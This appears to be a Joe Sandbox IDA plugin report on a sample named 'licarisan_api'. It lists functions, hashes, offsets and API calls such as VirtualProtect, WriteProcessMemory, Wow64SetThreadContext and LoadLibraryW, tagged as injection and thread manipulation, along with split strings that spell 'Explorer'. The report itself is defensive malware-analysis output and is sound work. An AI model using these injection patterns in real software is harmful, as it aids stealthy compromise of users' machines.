Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$L$L$W$W$a$a$a$a$b$b$d$d$i$i$j@h$o$o$r$r$r$r$y$y
API String ID: 4275171209-2974322545
Opcode ID: 8f7c6e194ea65a41a98fa7e283d16fe88b08ca6f8023506353705b52753e5d3b
Instruction ID: 11652b54b1991800e11077fc1b12c6898bbd762ceb892a06ed659dd343f07e17
Opcode Fuzzy Hash: 8f7c6e194ea65a41a98fa7e283d16fe88b08ca6f8023506353705b52753e5d3b
Instruction Fuzzy Hash: 52C1A4A1D082A88FF721CA24DC047AABB79EF96310F0481FAD44D67681D6BD5FC58F52

Function 00435E80 Relevance: 32.1, APIs: 1, Strings: 17, Instructions: 629memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

p, xrefs: 004362B7
E, xrefs: 004367AB
e, xrefs: 004367E3
o, xrefs: 004367D5
e, xrefs: 0043629B
e, xrefs: 004362CC
c, xrefs: 004367DC
2, xrefs: 004362DA
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
638<, xrefs: 0043681F
2, xrefs: 00436294

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 2$2$638<$E$P$c$e$e$e$i$o$p$r$s$s$t$x
API String ID: 544645111-2245852266
Opcode ID: dd7342a27765a8d856ffa6d0165c118390eaa9d2fb84b38db72164b25d60fec9
Instruction ID: cada98b8e09c1d7d84a99f5e09ea48f0cff86c0a97af0b5056d015ee8db2dd1f
Opcode Fuzzy Hash: dd7342a27765a8d856ffa6d0165c118390eaa9d2fb84b38db72164b25d60fec9
Instruction Fuzzy Hash: EF3221B1C041699FEB20CA14DC94BEA7BB9EB84314F1481FAD80D96241D63D9EC68F52

Function 007EEEF7 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 393
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,00000004,?), ref: 007EFAAF

Strings

e, xrefs: 007F3769
OP=6, xrefs: 007F382A
E, xrefs: 007F3731
s, xrefs: 007F3770
@G<C, xrefs: 007EF369
x, xrefs: 007F3738
i, xrefs: 007F373F
o, xrefs: 007F375B
s, xrefs: 007F3777
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: @G<C$E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 3559483778-673526664
Opcode ID: 5030c9a201b243907f74f760e8eb10b073daeece213e4f193f3e3e94c1010e9b
Instruction ID: fda412ac4c514d2e8cb9eb5865bac1542c714f1932bcdc2c052765d25ad3ec31
Opcode Fuzzy Hash: 5030c9a201b243907f74f760e8eb10b073daeece213e4f193f3e3e94c1010e9b
Instruction Fuzzy Hash: 74F1BFB1D091A98FEB24CA15CC94BEABBB5AB49304F1440FAD80DA6641C77C9FC5CF51

Function 004355C4 Relevance: 24.8, APIs: 1, Strings: 13, Instructions: 314COMMON

Download Yara Rule

Strings

E, xrefs: 004367AB
e, xrefs: 004367E3
o, xrefs: 004367D5
c, xrefs: 004367DC
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
i, xrefs: 004367B9
8A<6, xrefs: 004353BF
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: 638<$8A<6$E$P$c$e$i$o$r$s$s$t$x
API String ID: 0-3819127176
Opcode ID: aa63ba8fceb8098d81ef153ae89218ce8752a633a92396c0ce7e9adc5efe95d6
Instruction ID: 5de543b3e8721eaa209909774d6cc212c709b38aa1b7358690f77de5e1f52903
Opcode Fuzzy Hash: aa63ba8fceb8098d81ef153ae89218ce8752a633a92396c0ce7e9adc5efe95d6
Instruction Fuzzy Hash: 6DC114B2D046659EE7208A25DC84BEB7BB5EB48314F0480FAD84D97280D67C5EC5CF96

Function 007F1746 Relevance: 23.2, APIs: 1, Strings: 12, Instructions: 406
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 007F22F9

Strings

i, xrefs: 007F373F
e, xrefs: 007F3769
o, xrefs: 007F375B
OP=6, xrefs: 007F382A
s, xrefs: 007F3777
E, xrefs: 007F3731
s, xrefs: 007F3770
t, xrefs: 007F3746
r, xrefs: 007F3754
c, xrefs: 007F3762
x, xrefs: 007F3738
P, xrefs: 007F374D

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ContextThreadWow64
String ID: E$OP=6$P$c$e$i$o$r$s$s$t$x
API String ID: 983334009-1470631180
Opcode ID: 70a6c4b0ea5559472d3f663d70049be3326f28d021c5136c32376f09f805675e
Instruction ID: b431c33c28c5aa43ca434696a2d29acac9288408530d30969b799f04617ebee4
Opcode Fuzzy Hash: 70a6c4b0ea5559472d3f663d70049be3326f28d021c5136c32376f09f805675e
Instruction Fuzzy Hash: 4EF1DEB1D041A88BEB24CB14CC98BAABBB6EB85314F1480EAD94D66340D7785FC1CF52

Function 004356A8 Relevance: 23.1, APIs: 1, Strings: 12, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: a2d238ec617bb7b6a70fc9ada4adc858b9b8388069ff9584b824b8d4f241cfc3
Instruction ID: 6ed5b08fcfe76b27a581f46799934f63d6ee110742751e626dd60ceb4e0175b4
Opcode Fuzzy Hash: a2d238ec617bb7b6a70fc9ada4adc858b9b8388069ff9584b824b8d4f241cfc3
Instruction Fuzzy Hash: CDE1A0B1D045688BEB24CB14CC94BEBBBB5EB88315F1480EAD84DA7341DA3C9EC58F55

Function 004358F4 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 194COMMON

Download Yara Rule

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: adfd20f61809e02618b6a77d42aa679b5219ee49bc462a75b3bfcef5ce93a7cc
Instruction ID: b26a1bc0088e7b4754e30e43732aa15a9ec0b4c825e219f5b9ee833f3c41435f
Opcode Fuzzy Hash: adfd20f61809e02618b6a77d42aa679b5219ee49bc462a75b3bfcef5ce93a7cc
Instruction Fuzzy Hash: 21613BB2C48664DAF7208615DC44BEB7BB9EB45314F05C0FAD84C96281CA7D5FC58FA2

Function 00435A55 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 186memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: 0b80dd6720e2f6e81af6c56a31711255b74131e9c13e64cc9d80159c3bcc86b4
Instruction ID: d67253d5e8140cee481a5566b8eb97b3f1a6264fef4fead56399c89abb2e45f8
Opcode Fuzzy Hash: 0b80dd6720e2f6e81af6c56a31711255b74131e9c13e64cc9d80159c3bcc86b4
Instruction Fuzzy Hash: E06128B2C045949AF7208624DC58BEB7FB8EB45314F04C0FAD84D96281DA7D9EC58FA2

Function 00435973 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 177memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004361CE

Strings

E, xrefs: 004367AB
r, xrefs: 004367CE
x, xrefs: 004367B2
s, xrefs: 004367F1
e, xrefs: 004367E3
o, xrefs: 004367D5
i, xrefs: 004367B9
P, xrefs: 004367C7
s, xrefs: 004367EA
t, xrefs: 004367C0
c, xrefs: 004367DC
638<, xrefs: 0043681F

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: 638<$E$P$c$e$i$o$r$s$s$t$x
API String ID: 544645111-387579111
Opcode ID: 7f335b916af717871f30b750282fddcbbda243f23f22e8273ef0a4aad74cc13d
Instruction ID: 49526e54870d8890fe9427392f0551500ae6889d1069737665f52b396b009230
Opcode Fuzzy Hash: 7f335b916af717871f30b750282fddcbbda243f23f22e8273ef0a4aad74cc13d
Instruction Fuzzy Hash: 03611AB1C08664DAF720CA15DC44BEB7BB5EB45314F04C0FAD84C96281DA7D5EC58FA2

Function 007AA6D8 Relevance: 21.4, APIs: 1, Strings: 13, Instructions: 372COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: c11aba4442d28daf73e17c8326aa6d842f6710027655167d688ba819fee8047d
Instruction ID: 7a8b93e79569afa7c60bfb2ce360f7600881bcf61567603e637672bb45212c94
Opcode Fuzzy Hash: c11aba4442d28daf73e17c8326aa6d842f6710027655167d688ba819fee8047d
Instruction Fuzzy Hash: AAE1DFA2D042689AE7208B24DC44BEAB775EF96300F1481FAD44DA6681E77D5EC2CF52

Function 007AA901 Relevance: 21.3, APIs: 1, Strings: 13, Instructions: 347memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: c53254e988d3332173246dc15b57400997504fe1bdc36f9d6250ff8814295994
Instruction ID: 99e1285d9fb397d5eb7ef560e95e0141828ec80eefb178891384239857aaf270
Opcode Fuzzy Hash: c53254e988d3332173246dc15b57400997504fe1bdc36f9d6250ff8814295994
Instruction Fuzzy Hash: 94D1BEA2D042689BE7208B24DC45BEAB779EF96300F1481FAD40DA7681E67D5FC18F52

Function 007AA8AF Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 246COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 8756ebfd6dcfd7046b0bc61c496df5ae97e5933f3534a7cfd9391b20ae29f859
Instruction ID: 62aa38c919f499d098b77f9fdb5d960e78d2f3322187198f665a189321e39829
Opcode Fuzzy Hash: 8756ebfd6dcfd7046b0bc61c496df5ae97e5933f3534a7cfd9391b20ae29f859
Instruction Fuzzy Hash: 8591C3A1D042989FF721CA24DC05BAABB79EF96310F0081FAD44DA7681D6BD5FC18F52

Function 007AA6C0 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 245COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 7d25d273a1b16c81526eccc507b30569896d4d3dfc9b7c9df68f6911b48d60f6
Instruction ID: 3c3320c120e67dfff9d5b242f0611c4fb49e7fb127d5043a3136ebc3872a6724
Opcode Fuzzy Hash: 7d25d273a1b16c81526eccc507b30569896d4d3dfc9b7c9df68f6911b48d60f6
Instruction Fuzzy Hash: C891C4A1D042989FF721CA24DC057AA7B79EF96310F0081FAD44DAB681D7BD5BC18F52

Function 007AA681 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 237COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: e8b037268298a4d5ffb60c49fea98472954899fddb75a8fbe044820a982b3e42
Instruction ID: 49aa4d250c7f3796afa10eb66a901b421a162617eadf3b2f2087d2a69d55eb0f
Opcode Fuzzy Hash: e8b037268298a4d5ffb60c49fea98472954899fddb75a8fbe044820a982b3e42
Instruction Fuzzy Hash: 1291B4A1D042989FF721CA24DC05BAA7779EF96310F0081FAD44DA7681D7BD5BC18F52

Function 0043702B Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 270COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Strings

N23I, xrefs: 0043744E

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID: N23I
API String ID: 621844428-2248891880
Opcode ID: 86a047b82556f0654d6f3208545a0689b5b593e009b7340f098c97802f14d56f
Instruction ID: 1f2409d8dc3e9cde91ce654f394f12b777bf77407061de83b56be02fb7fcfc23
Opcode Fuzzy Hash: 86a047b82556f0654d6f3208545a0689b5b593e009b7340f098c97802f14d56f
Instruction Fuzzy Hash: F1B1B1B1D042689FEB24CB14CC84BEAB775EB88314F1481EAD84967380DA386ED1CF11

Function 007B2413 Relevance: 3.4, APIs: 2, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13bb9705a0713c853c84611bfd16766246ed2ca572bb3cf5f2ca4072feb2abb
Instruction ID: 2a18fefa57f1885e2f503e8d5d07645eda1b3568d1e675c69a32cb65fe14a38c
Opcode Fuzzy Hash: e13bb9705a0713c853c84611bfd16766246ed2ca572bb3cf5f2ca4072feb2abb
Instruction Fuzzy Hash: 19029CB1D052698FEB24CB14CC94BEAB7B5EF85300F1481EAE94DA7241D6386EC2CF51

Function 007A742C Relevance: 3.2, APIs: 2, Instructions: 238libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 94c2ebe60241b45d1ce9fbd4bb7fbdea7d3b05eba24d2260a0f7b65b9ac5590c
Instruction ID: ea1e00276a1e3f6aa0f40c96282c5d0db8f76cadf96dfec5b6352e2887e65f2a
Opcode Fuzzy Hash: 94c2ebe60241b45d1ce9fbd4bb7fbdea7d3b05eba24d2260a0f7b65b9ac5590c
Instruction Fuzzy Hash: 06A1C2B1C096A88BEB24CB24CC447EAB775EF95300F0481E9D44DA7651EA3A5FC5CF62

Function 007A7066 Relevance: 3.2, APIs: 2, Instructions: 228libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9b3e090531d69dd186d4dee6d3b613c20a064a003945816208054c2b982677ed
Instruction ID: 2c2d57d448038374d66fdcb1d18eca8a92cad1a133577cc111e41ae296474e4b
Opcode Fuzzy Hash: 9b3e090531d69dd186d4dee6d3b613c20a064a003945816208054c2b982677ed
Instruction Fuzzy Hash: 6991A2A1D096A88BEB24CB24CC447EA7774EF91300F0481E9D44DA7642EA7E5FC5CF62

Function 0042E183 Relevance: 1.9, APIs: 1, Instructions: 358nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: c5a0a2312dceb3439ecd7d7b18d856ed6c99bcef0e6aa0d43dfaec38c88703bb
Instruction ID: 14b498a53ca20839f7b89bbcd03554e8a9f3d6d5c484cb62ab93e711ce4bac9b
Opcode Fuzzy Hash: c5a0a2312dceb3439ecd7d7b18d856ed6c99bcef0e6aa0d43dfaec38c88703bb
Instruction Fuzzy Hash: CFE19EB1E002288FEB24CB15EC94BEAB7B5FB85304F5441EAD94AA7381D7385ED18E45

Function 0080F2BE Relevance: 1.8, APIs: 1, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd2ac955688a7fa63ac9ab3a63ad57cb371f02ddb20f86f0cdd73e49e7c16d9
Instruction ID: 370ffbe4cde878bde6934065ce708e47dd7f33f92b3ae3a6849e6b13322ce7f4
Opcode Fuzzy Hash: 5bd2ac955688a7fa63ac9ab3a63ad57cb371f02ddb20f86f0cdd73e49e7c16d9
Instruction Fuzzy Hash: C5C1AFB1E001698FEB64CF14CC95BEAB775FB85314F1481FAD90DA6A81D6389EC1CE41

Function 0042F6C1 Relevance: 1.8, APIs: 1, Instructions: 292nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000000,?), ref: 0043025C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 3983c9c8573d178575308bb1f2954925cbf7ffd130db24b8bdd5658839a8f601
Instruction ID: 12ae1f3055cf662f85ed8df237c81f1b345e697e72a81e690a8c9c1b8b1e48a5
Opcode Fuzzy Hash: 3983c9c8573d178575308bb1f2954925cbf7ffd130db24b8bdd5658839a8f601
Instruction Fuzzy Hash: AFC1ABB1E045688BEB24CA14DC50BEABBB5BB85301FA481FAD84DA7641D3385FC6CF45

Function 0042E946 Relevance: 1.8, APIs: 1, Instructions: 267nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: a57243a720ab46aeb5c1621d63892e8be7493daecc2f2fd2f639f783efea6b26
Instruction ID: d0ec39d3d6fb546583dd1d1bff883c75ecbe95c27f1040671e5caf907768c4cb
Opcode Fuzzy Hash: a57243a720ab46aeb5c1621d63892e8be7493daecc2f2fd2f639f783efea6b26
Instruction Fuzzy Hash: A4C147B4E052288BEB24CF15DD90BE9B7B6EB84315F5481EAD809A7341D7386ED18F09

Function 0080F0E2 Relevance: 1.7, APIs: 1, Instructions: 231memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 0080FDEA

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5deaf237bc3b3815614d68c3dac1b51e16ffab2d257c8addff1b37483f8cfe6e
Instruction ID: f1125ff632e93b121fd529bde0f29ab5739253cec941f9edebb32c25f2f78222
Opcode Fuzzy Hash: 5deaf237bc3b3815614d68c3dac1b51e16ffab2d257c8addff1b37483f8cfe6e
Instruction Fuzzy Hash: 628135B2D10528DAE7748A14EC45BFB7779FB84311F1080FAEA0EA6A81D73D4EC18E51

Function 0042E107 Relevance: 1.7, APIs: 1, Instructions: 202nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: 619214c3e5a3058d34d35521a5284d92c864d374118d3281ab188b51134c118b
Instruction ID: e582d12f4acdadda0878b0c11b86b8c30a814041013db2b22d4af808d8c2f324
Opcode Fuzzy Hash: 619214c3e5a3058d34d35521a5284d92c864d374118d3281ab188b51134c118b
Instruction Fuzzy Hash: A77129F1E052349BFB248B16ED54BFA7B79EB90304F5481FAD90995281E33C5EC28E16

Function 007A5124 Relevance: 1.7, APIs: 1, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 13a8f68aebe97f782617a511845e494522d71a4e75c60e010fd7f09a2a0da807
Instruction ID: a58ffe6f8b1d22f210c7890636013dfefc0dbd6abb55dbf0a74ed632a9852390
Opcode Fuzzy Hash: 13a8f68aebe97f782617a511845e494522d71a4e75c60e010fd7f09a2a0da807
Instruction Fuzzy Hash: A471CDB2D045299BEB248B21DC81BFBB775FB85300F1482FAD94DA6280E73C4AC18F51

Function 0042E524 Relevance: 1.7, APIs: 1, Instructions: 164nativeCOMMON

Download Yara Rule

APIs

NtQueryDefaultLocale.NTDLL(00000001,?), ref: 0042EC9A

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: DefaultLocaleQuery
String ID:
API String ID: 2949231068-0
Opcode ID: ba1cc31d0c88f6aef3822014f82c047920296f7077fa3ea0d75ebe0a76e9a7d9
Instruction ID: 440fae91d327c565061e70a3e96d93802fc45ef6f237214261ed9f1b2abbfcc9
Opcode Fuzzy Hash: ba1cc31d0c88f6aef3822014f82c047920296f7077fa3ea0d75ebe0a76e9a7d9
Instruction Fuzzy Hash: 895138F2E115249BF7248B16ED54BFA7775EB90300F1481FAE90E96680E37C5EC28E15

Function 007A565E Relevance: 1.6, APIs: 1, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

